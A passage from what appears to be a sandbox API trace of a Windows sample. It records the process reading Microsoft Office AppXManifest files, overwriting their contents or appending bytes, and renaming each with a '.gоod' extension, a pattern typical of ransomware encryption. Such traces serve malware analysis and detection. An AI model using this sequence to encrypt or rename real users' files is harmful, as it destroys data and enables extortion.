nFileSizeLow=0x870)) returned 1 [0122.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0122.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.gоod")) returned 1 [0122.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0122.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3410a28 | out: lpFileInformation=0x3410a28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b)) returned 1 [0122.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0122.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0122.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.292] GetFileType (hFile=0x7c8) returned 0x1 [0122.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0122.292] GetFileType (hFile=0x7c8) returned 0x1 [0122.293] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0122.293] ReadFile (in: hFile=0x7c8, lpBuffer=0x3412048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x3412048*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0122.294] CloseHandle (hObject=0x7c8) returned 1 [0122.294] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0122.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.294] GetFileType (hFile=0x7c8) returned 0x1 [0122.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0122.294] GetFileType (hFile=0x7c8) returned 0x1 [0122.294] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x34b4b [0122.295] WriteFile (in: hFile=0x7c8, lpBuffer=0x3413440*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3413440*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0122.295] CloseHandle (hObject=0x7c8) returned 1 [0122.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0122.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.296] GetFileType (hFile=0x7c8) returned 0x1 [0122.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0122.296] GetFileType (hFile=0x7c8) returned 0x1 [0122.296] ReadFile (in: hFile=0x7c8, lpBuffer=0x3415798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3415798*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0122.803] CloseHandle (hObject=0x7c8) returned 1 [0122.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0122.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.804] GetFileType (hFile=0x7c8) returned 0x1 [0122.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0122.804] GetFileType (hFile=0x7c8) returned 0x1 [0122.804] WriteFile (in: hFile=0x7c8, lpBuffer=0x33fa390*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x33fa390*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0122.804] CloseHandle (hObject=0x7c8) returned 1 [0122.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0122.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0122.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4569b8e3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x34b5b)) returned 1 [0122.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0122.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0122.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0122.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x36d8280 | out: lpFileInformation=0x36d8280*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0122.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0122.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0122.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.806] GetFileType (hFile=0x7c8) returned 0x1 [0122.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0122.806] GetFileType (hFile=0x7c8) returned 0x1 [0122.807] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0122.807] ReadFile (in: hFile=0x7c8, lpBuffer=0x36d8b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x36d8b48*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0122.808] CloseHandle (hObject=0x7c8) returned 1 [0123.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0123.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0123.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0123.569] GetFileType (hFile=0x7c8) returned 0x1 [0123.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0123.569] GetFileType (hFile=0x7c8) returned 0x1 [0123.569] WriteFile (in: hFile=0x7c8, lpBuffer=0x34a4038*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x34a4038*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0123.701] CloseHandle (hObject=0x7c8) returned 1 [0123.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0123.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0123.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0123.701] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x45f20c89, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0123.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0123.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0123.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0123.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0123.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x35c09a8 | out: lpFileInformation=0x35c09a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0123.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0123.703] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0123.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0123.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0123.703] GetFileType (hFile=0x7c8) returned 0x1 [0123.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0123.703] GetFileType (hFile=0x7c8) returned 0x1 [0123.703] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0123.703] ReadFile (in: hFile=0x7c8, lpBuffer=0x35c1270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x35c1270*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0123.705] CloseHandle (hObject=0x7c8) returned 1 [0124.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0124.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.558] GetFileType (hFile=0x63c) returned 0x1 [0124.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0124.558] GetFileType (hFile=0x63c) returned 0x1 [0124.558] WriteFile (in: hFile=0x63c, lpBuffer=0x361ac08*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x361ac08*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0124.559] CloseHandle (hObject=0x63c) returned 1 [0124.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0124.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0124.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x46754245, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0124.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0124.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0124.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0124.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x361bf70 | out: lpFileInformation=0x361bf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21)) returned 1 [0124.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0124.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.561] GetFileType (hFile=0x63c) returned 0x1 [0124.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.561] GetFileType (hFile=0x63c) returned 0x1 [0124.561] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0124.561] ReadFile (in: hFile=0x63c, lpBuffer=0x361daf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x361daf8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0124.562] CloseHandle (hObject=0x63c) returned 1 [0124.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.562] GetFileType (hFile=0x63c) returned 0x1 [0124.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.562] GetFileType (hFile=0x63c) returned 0x1 [0124.563] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x53d21 [0124.563] WriteFile (in: hFile=0x63c, lpBuffer=0x361ee28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x361ee28*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0124.564] CloseHandle (hObject=0x63c) returned 1 [0124.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft 